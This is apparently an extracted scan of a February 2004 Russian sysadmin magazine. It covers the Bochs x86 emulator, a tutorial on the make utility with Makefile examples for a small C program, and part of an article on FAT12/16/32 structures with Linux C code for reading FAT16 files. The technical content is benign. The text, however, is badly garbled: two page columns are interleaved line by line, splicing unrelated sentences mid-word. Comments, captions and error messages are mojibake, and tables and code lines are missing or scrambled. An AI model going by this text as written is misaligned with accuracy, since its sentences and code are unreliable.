нужен? В случае с эмуляторами ZX-Spectrum все ясно – жет перенаправляться в файл или на физическое уст-
они позволяют вдохнуть новую жизнь в старые добрые ройство (только в Unix).
игры. Естественно, никто не запрещает использовать
Bochs и в этих целях. Его часто применяют для запуска Кроме этого, Bochs поддерживает подключаемые мо-
игр, написанных под DOS, а запуском в Bochs старых вер- дули-«плагины» (только в Unix и Cygwin, в форме плаги-
сий Linux даже занимается специальный проект «История нов, например, могут быть выполнены дополнительные
Linux» (http://www.linuxcenter.ru/history). Но, конечно, у устройства) и загрузку со всех доступных типов носите-

№2(15), февраль 2004 35


администрирование
лей (Floppy, HDD, CD-ROM), имитирует шину PCI (в рам- Из этих «кирпичиков» можно собирать систему, удов-
ках Host-to-PCI bridge и Primary Memory Controller), USB летворяющую требованиям конкретной задачи: указать
(только корневой разветвитель), SMP (Bochs может эму- объем оперативной памяти, настроить быстродействие
лировать до 15 процессоров, но в данный момент никак (естественно, гостевая ОС в любом случае будет рабо-
не использует физическую многопроцессорность хост- тать медленнее, чем в native-режиме), подобрать аппарат-
системы). Реализация сетевой карты в Unix-версиях Bochs ную конфигурацию и т. д. По умолчанию Bochs стремится
имеет одну забавную особенность: в ряде случаев госте- работать c как можно большей скоростью, что, к сожале-
вая ОС не может связываться по сети с хост-системой. нию, имеет свой побочный эффект – «ускорение време-
Для решения этой проблемы используются TUN/TAP-ин- ни» (часы в гостевой ОС начинают идти быстрее, чем в
терфейсы. Для работы с сетью в Windows требуется до- хост-системе). Во избежание этого их можно принудитель-
полнительная библиотека WinPcap (http://winpcap.polito.it/), но синхронизировать, правда, эта функция до сих пор по-
которая также распространяется свободно. На всех плат- мечена как «экспериментальная».
формах (кроме Amiga) Bochs работает в оконном (не пол- Настройка Bochs производится до запуска путем ре-
ноэкранном) режиме. Пример окна Bochs с запущенным дактирования конфигурационного файла и во время ра-
в нем MCC Interim Linux можно увидеть на рисунке. боты – через пользовательский интерфейс. В большин-
стве случаев вам придется довольствоваться текстовым
интерфейсом (рисунок в низу), хотя Bochs можно собрать
с поддержкой кросс-платформенной GUI-библиотеки
wxWindows (http://www.wxwindows.org).
Весьма интересной частью Bochs является также
встроенный отладчик командной строки. Данный инст-
румент позволяет прерывать работу гостевой ОС в про-
извольный момент времени, изучать содержимое регис-
тров процессора и памяти, назначать точки останова
(«breakpoints2) и т. п. Это может быть полезно разработ-
чикам операционных систем, а также всем желающим
поглубже разобраться с их устройством (например, при
занятии reverse engineering).

36
администрирование
Ложка дегтя картами S3, Trident и т. п. Если бы Bochs имитировал ра-
Древнегреческий философ Платон утверждал, что осяза- боту какого-либо из этих адаптеров, мы смогли бы запус-
емые нами вещи есть суть отражения их безупречных тить X Window System в достаточно высоком разрешении
идей. Это в полной мере относится и к программному обес- и с хорошей глубиной цвета. В реальности же пришлось
печению. Никакой продукт не свободен от недостатков, и довольствоваться видеорежимом 640x480x4, что, бесспор-
Bochs не исключение. но, лучше, чем ничего, но все же не совсем то, что хоте-
Первый, и он же основной минус виртуальной машины – лось бы. Радует, что данную проблему можно решить, не
это скорость работы. Bochs не слишком хорошо подходит модифицируя исходный код Bochs, а именно путем напи-
для динамичных 3D-игр, просмотра видео и тому подобных сания соответствующего плагина. Однако при моделиро-
вещей. Конечно, скорость эмуляции в каждом конкретном вании реально существующего оборудования возникают
случае определяется возможностями хост-системы. также некоторые юридические аспекты (не все произво-
Второй, менее очевидный недостаток – это тип под- дители hardware открыто публикуют свои спецификации),
держиваемых устройств. Bochs (в той или иной степени) обсуждение которых выходит за рамки данной статьи.
имитирует практически всю периферию, но только стан- Подведем итоги. Bochs – не слишком известный, но
дартные («generic») модификации. В этом нет ничего пло- весьма полезный инструмент, распространяющийся сво-
хого, но иногда возникает желание понаблюдать за пове- бодно вместе с исходным кодом. Продукт имеет офици-
дением системы при использовании вполне конкретного альный статус «Beta», однако, как показывает практика,
оборудования. Так, при работе над уже упоминавшейся он вполне стабилен и может оказать помощь при реше-
«Историей Linux» мы столкнулись со следующей пробле- нии большинства задач. Это, безусловно, не панацея от
мой: ранние версии сервера XFree86, которые включены проблем, возникающих при обновлении и настройке ком-
в большинство старых дистрибутивов Linux, не поддер- пьютерных систем, но средство сделать все необходимые
живали VESA-режимы, зато неплохо работали с видео- операции «малой кровью».

№2(15), февраль 2004 37


администрирование

РАБОТА С УТИЛИТОЙ make

В статье на конкретных примерах


рассматриваются варианты применения
утилиты make как пользователями,
так и разработчиками.

АНТОН ИВАНОВ
make для пользователей Обратите внимание, что в процессе компиляции может
Начнём с самого начала. Самое главное, но далеко не пос- появляться множество предупреждений («warnings»). Они
леднее применение утилиты make – это автоматическая обычно вызываются небольшими несоответствиями стандар-
сборка (компиляция) программ. И хотя большинство про- ту Cи; скорее всего, они не приведут к ошибке компиляции.
грамм для Linux могут быть получены в двоичном (то есть Если вы сомневаетесь, нормально ли скомпилирова-
в скомпилированном виде, в пакетах .deb, .tgz или .rpm), в лась программа, сразу же после завершения работы make
процессе работы с Linux вам наверняка потребуется со- выполните команду:
брать программу самостоятельно из исходного кода.
Итак, вы загрузили архив с исходниками программы, echo $?
скорее всего в виде tarball, т.е. сжатого tar-архива. Рас-
пространены две программы сжатия: gzip и bzip2 (после- На экран будет выведен код возврата программы. Он
дняя сжимает файлы лучше, но медленнее). Имена фай- показывает, успешно ли завершилось выполнение про-
лов таких архивов оканчиваются соответственно на .tar.gz граммы. Если он равен нулю, то всё нормально, если от-
(или .tgz) и tar.bz2 (или .tbz). Распакуйте архив командой: личен от нуля – произошла ошибка.
После команды make можно указывать цели сборки.
tar xzvf èìÿ_ôàéëà.tar.gz Цель – это то, что нужно сделать программе make. В боль-
èëè
tar xjvf èìÿ_ôàéëà.tar.bz2 шинстве случаев, если цель не указана, то происходит
сборка программы. Если выполнить команду:
Другой вид распространения исходных кодов – в паке-
тах .src.rpm, в этом случае просто установите такой пакет make install
как обычно, и исходники появятся в каталоге /usr/src/RPM/
SOURCES. то произойдет установка программы. Обратите внимание,
Первым этапом в сборке программы является настрой- что при выполнении этой команды файлы скорее всего
ка командой ./configure (она определяет параметры сис- будут скопированы в каталоги, в которые доступ на за-
темы и создает Makefile, наиболее подходящий для дан- пись для простых пользователей закрыт. Поэтому вам
ной конфигурации), но нас интересует следующий шаг – нужно либо получить права суперпользователя (вы ведь
сама компиляция при помощи команды make. не работаете постоянно под root, правда?), либо исполь-
В большинстве случаев для сборки программы доста- зовать программу su:
точно ввести только саму команду make, без каких-либо
дополнительных параметров. По мере выполнения на эк- su -c make install
ран будут выводиться команды, исполняемые при компи-
ляции. Процесс этот может быть довольно долгим, в за- Иногда, чтобы освободить место на диске, или при пе-
висимости от скорости вашего компьютера. рекомпиляции требуется удалить результаты предыдущей
Когда управление будет возвращено оболочке, т.е. сборки – объектные файлы (*.o), двоичные файлы про-
появится приглашение ввода команд, внимательно про- граммы и другие временные файлы. Для этого нужно вы-
смотрите последние несколько строк, выведенных коман- полнить команду:
дой make. Если среди них есть «Error», или «Ошибка»,
это значит, что программа не скомпилировалась. Это мо- make clean
жет быть вызвано множеством причин: отсутствием ка-
ких-либо пакетов, ошибкой в программе, отсутствием прав Эта команда удалит вышеуказанные файлы. Опера-
записи в какой-либо файл или каталог и т. д. Еще раз вни- ция затронет только файлы в каталоге исходников, т.е.
мательно перечитайте файлы README и INSTALL в ката- уже установленные в системные каталоги при помощи
логе с исходниками программы. команды make install файлы затронуты не будут.

38
администрирование
Если вы хотите привести исходники программы к пер- Вероятность того, что программа соберется правиль-
воначальному состоянию, т.е. удалить не только двоич- но, все-таки есть, особенно, если ошибка была при обра-
ные файлы, но и config.log, Makefile и другие, созданные ботке несущественных файлов, таких как файлы докумен-
скриптом ./configure, введите: тации. Если же ничего не вышло – попробуйте задать воп-
рос на каком-нибудь форуме, например, на linux.org.ru.
make distclean Теперь давайте заглянем внутрь Makefile. Попробуем
его немного поизменять. Откройте в своем любимом тек-
Теперь для повторной сборки программы вам нужно стовом редакторе, например, Makefile из исходного кода
будет снова запустить ./configure. Linux (если у вас установлены исходники Linux, то это /
И наконец, чтобы отменить действие команды make usr/src/linux/Makefile). Посмотрите на самые первые
install, т.е. удалить установленную программу, нужно, как строчки:
нетрудно догадаться, выполнить:
VERSION = 2
make uninstall PATCHLEVEL = 6
SUBLEVEL = 1
EXTRAVERSION =
Как и для make install, этой команде могут потребо-
ваться права root. Это переменные, используемые в дальнейшем при сбор-
Иногда при запуске make вы можете получить такие ке ядра. Поменяв их значения, например, так:
сообщения об ошибке:
VERSION = 3
make: *** Íå çàäàíû öåëè è íå íàéäåí make-ôàéë. Îñòàíîâ. PATCHLEVEL = 0
make: *** Íåò ïðàâèëà äëÿ ñáîðêè öåëè 'uninstall'. Îñòàíîâ. SUBLEVEL = 0
EXTRAVERSION = topsecret
Это связано с тем, что при запуске утилита make ищет
в текущем каталоге файл с именем Makefile или makefile и пересобрав ядро, вы можете потом хвастаться перед дру-
(различный регистр символов). Если его нет, выдается зьями командой uname -r, которая будет показывать достав-
первое сообщение. Что делать в таком случае? В пер- шуюся вам сверхсекретную версию ядра (3.0.0.topsecret).
вую очередь проверьте, не забыли ли вы запустить скрипт Если же говорить о практическом применении, то иног-
./configure, ведь именно он создает Makefile. Если при вы- да вам может потребоваться немного изменить Makefile,
полнении ./configure произошла ошибка, Makefile не бу- скажем, для того, чтобы исключить компиляцию какой-
дет создан! Во-вторых, проверьте, нет ли в каталоге с либо программы из большого пакета утилит. Пример: вы
исходниками какого-то другого подобного файла: загрузили свежую версию утилит KDE (пакет kdeutils). Но
какая-то программа из этого пакета никак не компилиру-
ls Makefile* ется, и make -i не помогает. Допустим, программой, на
которой происходит ошибка, является kedit. Откройте
Например, вы можете получить список файлов типа kdeutils/Makefile. Теперь просто найдите все встречающи-
Makefile.linux, Makefile.hpux, Makefile.macosx. Это значит, еся слова «kedit» (в редакторе vim для этого введите /kedit)
что для компиляции одной и той же программы на разных и удалите их:
платформах автор предусмотрел несколько вариантов
Makefile. Другой вариант – если вы загрузили исходный TOPSUBDIRS = <...> kdf kedit kfloppy <...>
код из CVS, файл будет назван Makefile.cvs. Учтите, что
Makefile.in и Makefile.am не относятся к Makefile, это всего Это список подкаталогов с исходным кодом различ-
лишь заготовки для создания Makefile. Итак, если вы на- ных программ. Утилита make по очереди заходит в каж-
шли нужный Makefile, запустите make с ключом -f, напри- дый из них и выполняет Makefile, находящийся в этом
мер, так: подкаталоге. Удалите слово kedit, сохраните файл и сно-
ва запустите make. Вы увидите, что сборка kedit будет
make -f Makefile.cvs пропущена.

Второе из приведенных выше сообщений об ошибке make для разработчиков


может появляться, если автор Makefile не предусмотрел Пока ваша программа состоит из одного файла, проще
такую цель (в данном случае – uninstall, т.е. автоматичес- всего компилировать ее командой:
кое удаление программы невозможно), или, опять же, если
отсутствует Makefile. cc main.c
Вы начали компилировать программу, но вдруг... Ошиб-
ка 1. Что делать? Для начала еще раз перечитайте доку- Теоретически можно и всю программу поместить в
ментацию к программе. Если ситуация не прояснилась, один файл. Однако принято разделять код на несколько
попробуйте запустить make с ключом -i, означающим «иг- файлов, в больших проектах их десятки и сотни.
норировать все ошибки»: Для примера создадим простую программу на C, вы-
числяющую квадрат числа. Она будет состоять из двух
make -i файлов: главного (main.c) и kvadrat.c, содержащего функ-

№2(15), февраль 2004 39


администрирование
цию возведения в квадрат. Ниже приведен исходный код kvadrat.o: kvadrat.c
этой программы: cc -c -o kvadrat.o kvadrat.c
Здесь нужно обратить внимание на несколько особен-
main.c: ностей:
#include <stdio.h> ! параметр -o у cc указывает имя файла, получаемого в
результате операции;
int main()
{ ! в качестве зависимостей у целей main.o и kvadrat.o ука-
int a, rslt; заны соответствующие им файлы исходного кода, но
printf("Program calculates the square of a number.\n"); это вовсе не обязательно делать. Если, скажем, файл
printf("Please enter an integer: "); main.c будет отсутствовать, cc и так выведет сообще-
scanf("%d", &a);
ние об этом. Но главная причина, по которой вам не
rslt = kvadrat(a); нужно лениться и всегда указывать эту зависимость,
printf("%d x %d = %d\n", a, a, rslt);
описана чуть ниже;
}
return 0; ! при сборке конечной цели вызывается не только cc, но
и программа strip. Она позволяет зачастую значитель-
kvadrat.c: но сократить размер выполняемого файла, удалив из
int kvadrat(number) него отладочную информацию.
{
return number * number;
} Для понятности я опишу логику работы утилиты make
с этим Makefile: сначала проверяется наличие файла
Заранее скажу, что и эту программу можно скомпили- main.o – первой зависимости у цели kv. Если его нет, то
ровать довольно быстро без помощи Makefile командой выполняется его компиляция, если есть, то проверяется,
cc *.c. Но мы все будем делать «по-правильному». не был ли изменен файл main.c с момента последней его
Сборка программы у нас будет разбита на два этапа: компиляции (вот зачем нужно указывать main.c как зави-
препроцессинг и компиляция, т.е. преобразование исход- симость для main.o!). Если он был изменен, он компили-
ного кода в объектный код (файлы *.o), и сборка и лин- руется заново. Если же он не был изменен, то просто про-
ковка, т.е. объединение .o-файлов в один исполняемый пускается; таким образом при повторной сборке можно
файл и подключение динамических библиотек. Первый значительно сократить затрачиваемое время.
этап выполняется командой «gcc -c -o», второй – «gcc -o». Далее та же проверка происходит и для kvadrat.o, и
gcc при запуске пытается осуществить все этапы сборки как только будут получены main.o и kvadrat.o, включаю-
программы; параметр -c означает, что нужно только полу- щие все изменения в исходном коде, начнется сборка ис-
чить объектные файлы. полняемого файла.
Итак, как вы уже знаете, утилита make ищет файл с Итак, сохраните Makefile и запустите make. Должны
именем Makefile. Создайте его. появиться два .o-файла и сам исполняемый файл kv. Для
Makefile состоит из набора т.н. правил. Они, в свою проверки запустите его:
очередь, состоят из трех частей: цель (то, что должно быть
получено в результате выполнения правила); зависимос- ./kv
ти (что требуется для получения цели); команды, которые
должны быть выполнены для сборки цели. Общий синтак- Теперь давайте добавим в Makefile еще одну цель:
сис правил таков: clean. При вводе make clean должны удаляться три полу-
ченных в результате компиляции файла. Допишите в ко-
öåëü: çàâèñèìîñòü_1 çàâèñèìîñòü_2 çàâèñèìîñòü_N нец Makefile такие строки:
êîìàíäà_1
êîìàíäà_N
clean:
rm -f *.o kv
Давайте рассуждать логически. Нам требуется собрать
программу, пусть имя ее исполняемого файла будет «kv». Сохранив Makefile, введите make clean. Все три двоич-
У нас два файла с исходным кодом, каждый из них дол- ных файла будут удалены.
жен быть преобразован в .o-файл (принято называть Теперь создадим последнюю цель – install. Она будет
объектные файлы так же, как и исходные файлы, но с служить для копирования двоичного файла программы в
расширением .o; в нашем случае это будут main.o и системный каталог.
kvadrat.o). Именно они необходимы для сборки исполняе- Тут есть несколько вариантов. Во-первых, можно сде-
мого файла, значит, они являются зависимостями. Ну а лать так, чтобы при выполнении make install проверялось,
про команды уже было сказано выше. Итак, Makefile дол- была ли уже скомпилирована программа, и если нет, то
жен выглядеть так: перед установкой выполнялась бы ее компиляция (логич-
но, не правда ли?). Это можно сделать, указав kv в каче-
kv: main.o kvadrat.o стве зависимости. Во-вторых, для копирования програм-
cc -o kv main.o kvadrat.o
strip kv мы в системный каталог можно использовать или тради-
ционный метод – утилиту cp, а можно – специально пред-
main.o: main.c
cc -c -o main.o main.c назначенную для этого программу install. Она может при

40
администрирование
установке заодно изменять права доступа к программе, ! если имя переменной состоит более чем из одного сим-
удалять из нее отладочную информацию (но мы это уже вола, при ее использовании нужно заключать такое имя
предусмотрели при помощи команды strip); нам же пона- в скобки;
добится такая возможность, как автоматическое созда- ! нужно или нет ставить косую черту в значении перемен-
ние каталогов по указанному пути. Возможно, это звучит ной (/opt/kv/ или /opt/kv)? Ответ: лучше перестраховаться
запутанно, так что я поясню. Мы установим программу в и поставить. Как вы можете заметить, в команде уста-
каталог /opt/kv/ (каталог /opt предназначен для хранения новки косая черта идет подряд дважды: /opt/kv//kv (одна
пользовательских программ, необязательных для функ- косая черта из значения переменной, другая – из записи
ционирования системы). Разумеется, этого каталога еще $(INSTALL_PATH)/kv). Это не приведет к ошибке – вы мо-
не существует, поэтому, если бы мы использовали для жете поставить символ «/» хоть десять раз подряд. А вот
установки команду «cp kv /opt/kv/», это привело бы к ошиб- если забудете поставить ее хотя бы один раз, то резуль-
ке. Если же использовать команду install с ключом -D, она таты, ясное дело, будут отличаться от ожидаемых.
автоматически создаст все отстутствующие каталоги. Кро-
ме того, нам нужно будет сделать так, чтобы никто, кроме Теперь рассмотрим такой момент: допустим, нужно
root, не мог выполнять программу, а смог только считы- выполнить некоторую команду и присвоить переменной
вать ее файл (права доступа r-xr--r--, или 544 в восьме- выводимое этой командой значение. Например, если для
ричном виде). разных версий ядра Linux существуют разные версии ва-
Добавьте в конец Makefile следующие строки: шей программы. В таком случае при выполнении установ-
ки программы на системе с ядром 2.6.1 можно установить
install: kv ее в каталог /opt/kv/2.6.1/, а если система запущена с яд-
install -D -m 544 kv /opt/kv/kv
ром 2.4.24 – в каталог /opt/kv/2.4.24/. Версию ядра можно
Запустите make install, затем введите команду: определить при помощи команды uname -r (попробуйте
выполнить ее, чтобы посмотреть вашу версию ядра). Воп-
ls -gh /opt/kv/kv рос в том, как же передать полученное значение перемен-
ной? Очень просто:
чтобы убедиться в правильности установки.
После параметра -m у команды install указываются INSTALL_PATH = /opt/kv/`uname -r`/
права доступа, предпоследним параметром – файл, кото-
рый нужно скопировать, последним параметром являет- Теперь установка будет производиться в каталог /opt/
ся каталог назначения с именем файла (т.е. исполняемый kv/версия_вашего_ядра/. Обратите внимание на косые
файл можно установить под другим именем, введя, на- кавычки: они вводятся при помощи Shift+~ (крайняя ле-
пример, /opt/kv/program_name в качестве последнего па- вая клавиша в ряду кнопок с цифрами).
раметра). И последнее: а ведь make может использоваться не толь-
Теперь поговорим о переменных. Представьте, что ко для компиляции программ! Например, можно использо-
вам нужен Makefile для более сложного проекта, где в вать Makefile для сборки документации, да и вообще для
каталог назначения копируется одновременно несколь- автоматизации любой работы. Для примера можно создать
ко файлов. Вы укажете путь установки для каждого из программу, которая по команде make автоматически опре-
них, например, так: деляет, какие из трех файлов с именами «1», «2», «3» из-
менились, и при необходимости выполняет их резервное
install <ïàðàìåòðû> /opt/kv/file1 копирование в каталог backup, а по окончании работы вы-
install <ïàðàìåòðû> /opt/kv/file2 è ò.ä.
водит сообщение «Backup completed»:
Но вдруг вам потребовалось изменить путь установ-
ки. Вам придется поменять параметр у каждой команды. backup: backup/1 backup/2 backup/3
: Backup completed
И хотя это можно сделать относительно быстро при помо-
щи команды «заменить» в текстовом редакторе, проще backup/1: 1
cp 1 ~/backup
всего определить переменную один раз в начале Makefile
и потом использовать ее (при необходимости изменяя backup/2: 2
cp 2 ~/backup
только ее значение). Добавьте в начало Makefile опреде-
ление переменной: backup/3: 3
cp 3 ~/backup
INSTALL_PATH = /opt/kv/ Домашнее задание для вас: разберитесь, как работа-
ет этот пример, а к первому добавьте цель uninstall, так,
И затем измените команду install таким образом: чтобы при выполнении команды make uninstall установ-
ленная программа удалялась.
install -D -m 544 kv $(INSTALL_PATH)/kv Если вас заинтересовала эта тема, прочитайте руко-
водства «man install», «man make», а также GNU Make
На что здесь нужно обратить внимание: Manual по адресу http://www.gnu.org/software/make/manual/
! в объявлении переменной указывается просто ее имя, html_mono/make.html.gz (150 Кб). И главное – больше экс-
а когда вы ее используете – знак $ и имя; периментируйте!

№2(15), февраль 2004 41


администрирование

АРХИТЕКТУРА ФАЙЛОВОЙ СИСТЕМЫ FAT

ВЛАДИМИР МЕШКОВ

42
администрирование
Общая характеристика файловой рес кластера, содержащего следующую часть файла. Но-
системы FAT. Структура раздела мер начального кластера, занятого файлом, хранится в
с файловой системой FAT элементе каталога, содержащего запись об этом файле.
Файловая система FAT (File Allocation Table) была раз- Последний элемент списка кластеров содержит признак
работана Биллом Гейтсом и Марком Макдональдом в конца файла (EOF – End Of File). Первые два элемента
1977 году и первоначально использовалась в операци- FAT являются резервными.
онной системе 86-DOS. Чтобы добиться переносимос- Файловая система FAT всегда заполняет свободное ме-
ти программ из операционной системы CP/M в 86-DOS, сто на диске последовательно от начала к концу. При со-
в ней были сохранены ранее принятые ограничения на здании нового файла или увеличении уже существующе-
имена файлов. В дальнейшем 86-DOS была приобре- го она ищет самый первый свободный кластер в таблице
тена Microsoft и стала основой для ОС MS-DOS 1.0, вы- размещения файлов. Если в процессе работы одни фай-
пущенной в августе 1981 года. FAT была предназначена лы были удалены, а другие изменились в размере, то по-
для работы с гибкими дисками размером менее 1 Мб и являющиеся в результате пустые кластеры будут рассея-
вначале не предусматривала поддержки жёстких дис- ны по диску. Если кластеры, содержащие данные файла,
ков. Структура раздела FAT изображена на рисунке. расположены не подряд, то файл оказывается фрагмен-
тированным.
Существуют следующие типы FAT – FAT12, FAT16,
FAT32. Названия типов FAT ведут свое происхождение от
размера элемента: элемент FAT12 имеет размер 12 бит
(1,5 байт), FAT16 – 16 бит (2 байта), FAT32 – 32 бита (4 бай-
та). В FAT32 четыре старших двоичных разряда зарезер-
вированы и игнорируются в процессе работы операцион-
ной системы.

Корневой каталог
За таблицами размещения файлов следует корневой ка-
Ðèñóíîê 1. Ñòðóêòóðà ðàçäåëà ñ ôàéëîâîé ñèñòåìîé FAT талог. Каждому файлу и подкаталогу в корневом ката-
В файловой системе FAT дисковое пространство ло- логе соответствует 32-байтный элемент каталога
гического раздела делится на две области – системную (directory entry), содержащий имя файла, его атрибуты
и область данных (см. рис. 1). Системная область созда- (архивный, скрытый, системный и «только для чтения»),
ется и инициализируется при форматировании, а впос- дату и время создания (или внесения в него последних
ледствии обновляется при манипулировании файловой изменений), а также прочую информацию. Для файло-
структурой. Системная область файловых систем FAT вых систем FAT12 и FAT16 положение корневого катало-
состоит из следующих компонентов: га на разделе и его размер жестко зафиксированы. В
! загрузочная запись (boot record, BR); FAT32 корневой каталог может быть расположен в лю-
! резервная область; бом месте области данных раздела и иметь произволь-
! таблицы размещения файлов; ный размер.
! область корневого каталога (не существует в FAT32).
Форматы имен файлов
Область данных логического диска содержит фай- Одной из характеристик ранних версий FAT (FAT12 и
лы и каталоги, подчиненные корневому, и разделена на FAT16) является использование коротких имен файлов.
участки одинакового размера – кластеры. Кластер мо- Короткое имя состоит из двух полей – 8-байтного поля,
жет состоять из одного или нескольких последователь- содержащего собственно имя файла, и 3-байтного поля,
но расположенных на диске секторов. Число секторов содержащего расширение (формат «8.3»). Если введен-
в кластере должно быть кратно 2 N и может принимать ное пользователем имя файла короче 8 символов, то оно
значения от 1 до 64. Размер кластера зависит от типа дополняется пробелами (код 0x20); если введенное рас-
используемой файловой системы и объема логическо- ширение короче трёх байтов, то оно также дополняется
го диска. пробелами.
Структура элемента каталога для короткого имени
Назначение, структура и типы таблицы файла представлена в таблице 1.
размещения файлов Первый байт короткого имени выполняет функции при-
Своё название FAT получила от одноимённой таблицы знака занятости каталога:
размещения файлов – File Allocation Table, FAT. В табли- ! если первый байт равен 0xE5, то элемент каталога
це размещения файлов хранится информация о класте- свободен и его можно использовать при создании но-
рах логического диска. Каждому кластеру соответству- вого файла;
ет элемент таблицы FAT, содержащий информацию о ! если первый байт равен 0x00, то элемент каталога
том, свободен данный кластер или занят данными фай- свободен и является началом чистой области ката-
ла. Если кластер занят под файл, то в соответствующем лога (после него нет ни одного задействованного эле-
элементе таблицы размещения файлов указывается ад- мента).

№2(15), февраль 2004 43


администрирование
Òàáëèöà 1. Ñòðóêòóðà ýëåìåíòà êàòàëîãà äëÿ êîðîòêîãî èìåíè Загрузочный сектор
ôàéëà В первом секторе логического диска с системой FAT рас-
полагается загрузочный сектор и блок параметров BIOS.
Начальный участок данного блока для всех типов FAT
идентичен (таблица 3). Различия в структуре загрузоч-
ных секторов для разных типов FAT начинаются со сме-
щения 0x24. Для FAT12 и FAT16 структура имеет вид, по-
казанный в таблице 4, для FAT32 – в таблице 5.
Òàáëèöà 3. Íà÷àëüíûé ó÷àñòîê çàãðóçî÷íîãî ñåêòîðà

На использование ASCII-символов в коротком имени


накладывается ряд ограничений:
! нельзя использовать символы с кодами меньше 0x20
(за исключением кода 0x05 в первом байте короткого
имени);
! нельзя использовать символы с кодами 0x22, 0x2A,
0x2B, 0x2C, 0x2E, 0x2F, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E,
0x3F, 0x5B, 0x5C, 0x5D, 0x7C;
! нельзя использовать символ пробела (0x20) в первом
байте имени.
Òàáëèöà 4. Ñòðóêòóðà çàãðóçî÷íîãî ñåêòîðà FAT12/FAT16
В файловых системах FAT32 и VFAT (виртуальная FAT,
расширение FAT16) включена поддержка длинных имен
файлов (long file name, LFN). Для хранения длинного
имени используются элементы каталога, смежные с ос-
новным элементом. Имя файла записывается не ASCII-
символами, а в Unicode. В одном элементе каталога мож-
но сохранить фрагмент длиной до 13 символов Unicode.
Неиспользованный участок последнего фрагмента запол-
няется кодами 0xFFFF. Структура элемента каталога для Òàáëèöà 5. Ñòðóêòóðà çàãðóçî÷íîãî ñåêòîðà FAT32
длинного имени файла представлена в таблице 2.
Òàáëèöà 2. Ñòðóêòóðà ýëåìåíòà êàòàëîãà äëÿ äëèííîãî èìåíè
ôàéëà

Длинное имя записывается в каталог первым, причем


фрагменты размещены в обратном порядке, начиная с
последнего. Вслед за длинным (полным) именем разме- Кроме перечисленных в таблицах 2-го и 3-го полей,
щается стандартный описатель файла, содержащий уко- нулевой сектор логического диска должен содержать в
роченный по специальному алгоритму вариант этого име- байте со смещением 0x1FE код 0x55, а в следующем бай-
ни. Пример хранения длинного имени файла показан те (смещение 0x1FF) – код 0xAA. Указанные два байта
здесь: http://www.ntfs.com/fat-filenames.htm являются признаком загрузочного диска.

44
администрирование
Таким образом, загрузочный сектор выполняет две Заголовочный файл split.h имеет следующее содер-
важные функции: описывает структуру данных на диске, жание:
а также позволяет осуществить загрузку операционной
системы. #include <linux/types.h>
// ìàêñèìàëüíàÿ äëèíà êîðîòêîãî èìåíè ôàéëà
На логическом диске с организацией FAT32 дополни- #define SHORT_NAME 13
тельно присутствует структура FSInfo, размещаемая в
struct split_name {
первом секторе резервной области. Эта структура со- __u8 name[9]; // èìÿ ôàéëà
держит информацию о количестве свободных кластеров __u8 ext[4]; // ðàñøèðåíèå ôàéëà
int name_len, // äëèíà èìåíè ôàéëà
на диске и о номере первого свободного кластера в таб- ext_len; // äëèíà ðàñøèðåíèÿ ôàéëà
лице FAT. Формат структуры описан в таблице 6. };

Òàáëèöà 6. Ñòðóêòóðà ñåêòîðà FSInfo è ðåçåðâíîãî çàãðóçî÷-


íîãî ñåêòîðà FAT32 Cтруктура split_name предназначена для хранения со-
ставных частей короткого имени файла (имени и расши-
рения) и их длин.
В заголовочном файле <linux/msdos_fs.h> определе-
ны структурные типы, описывающие основные компонен-
ты файловой системы FAT – загрузочный сектор, сектор
FSInfo, структуры элементов каталога для короткого и
длинного имён файлов.
Рассмотрим кратко поля, которые входят в каждую
из этих структур.
1. Структура загрузочного сектора struct fat_boot_sector:
! __s8 system_id[8] – системный идентификатор;
! __u8 sector_size[2] – размер сектора в байтах;
! __u8 cluster_size – размер кластера в секторах;
! __u16 reserved – число резервных секторов в резерв-
ной области раздела;
Для доступа к содержимому файла, находящемуся на ! __u8 fats – количество копий FAT;
разделе с файловой системой FAT, необходимо получить ! __u8 dir_entries[2] – количество 32-байтных дескрип-
номер первого кластера файла. Этот номер, как мы уже торов файлов в корневом каталоге;
установили, входит в состав элемента каталога, содер- ! __u8 sectors[2] – число секторов на разделе; если это
жащего запись о файле. Номеру первого кластера соот- поле равно 0, используется поле total_sect;
ветствует элемент таблицы FAT, в котором хранится ад- ! __u8 media – тип носителя, на котором создана фай-
рес кластера, содержащего следующую часть файла. ловая система;
Элемент FAT, соответствующий последнему кластеру в ! __u16 fat_length – размер FAT в секторах;
цепочке, содержит сигнатуру конца файла. Для FAT12 это ! __u32 total_sect – размер раздела FAT в секторах (если
значение составляет 0xFFF, для FAT16 – 0xFFFF, для поле sectors == 0).
FAT32 – 0xFFFFFFFF.
Рассмотрим программную реализацию алгоритма чте- Следующие поля данной структуры используются
ния для каждого типа FAT, и начнём с FAT16. только FAT32:
Все исходные тексты, рассматриваемые в статье, до- ! __u32 fat32_length – размер FAT32 в секторах;
ступны на сайте журнала. ! __u32 root_cluster – номер первого кластера корнево-
го каталога;
Программная реализация алгоритма ! __u16 info_sector – номер сектора, содержащего струк-
чтения файла с логического раздела туру FSInfo.
с файловой системой FAT16
Разработаем модуль, выполняющий чтение N первых 2. Структура сектора FSInfo struct fat_boot_fsinfo:
кластеров файла, созданного на разделе с файловой си- ! __u32 signature1 – сигнатура 0x41615252;
стемой FAT16. Параметр N (число кластеров для считы- ! __u32 signature2 – сигнатура 0x61417272;
вания) является переменной величиной и задается ! __u32 free_clusters – количество свободных кластеров.
пользователем. Имя файла соответствует формату «8.3», Если поле содержит -1, поиск свободных кластеров
т.е. является коротким. Модуль функционирует под уп- нужно начинать с кластера номер 2.
равлением ОС Linux.
Определим необходимые заголовочные файлы: 3. Структура элемента каталога короткого имени struct
msdos_dir_entry:
#include
#include
<stdio.h>
<unistd.h>
! __s8 name[8],ext[3] – имя и расширение файла;
#include <fcntl.h> ! __u8 attr – атрибуты файла;
#include
#include
<errno.h>
<linux/msdos_fs.h>
! __u8 ctime_ms – это поле уточняет время создания
#include "split.h" файла до мс (используется только FAT32);

№2(15), февраль 2004 45


администрирование
! __u16 ctime – время создания файла (используется if(hard < 0) {
только FAT32); perror(FAT16_PART_NAME);
exit(-1);
! __u16 cdate – дата создания файла (используется толь- }
ко FAT32);
! __u16 adate – дата последнего доступа к файлу (ис- Считываем первые 10 кластеров файла. Считывание
пользуется только FAT32); выполняет функция fat16_read_file(). Параметры функции
! __u16 starthi – старшие 16 бит номера первого класте- – полное имя файла и число кластеров для чтения. Функ-
ра файла (используется только FAT32); ция возвращает число прочитанных кластеров или -1, если
! __u16 time,date,start – время и дата создания файла, при чтении произошла ошибка:
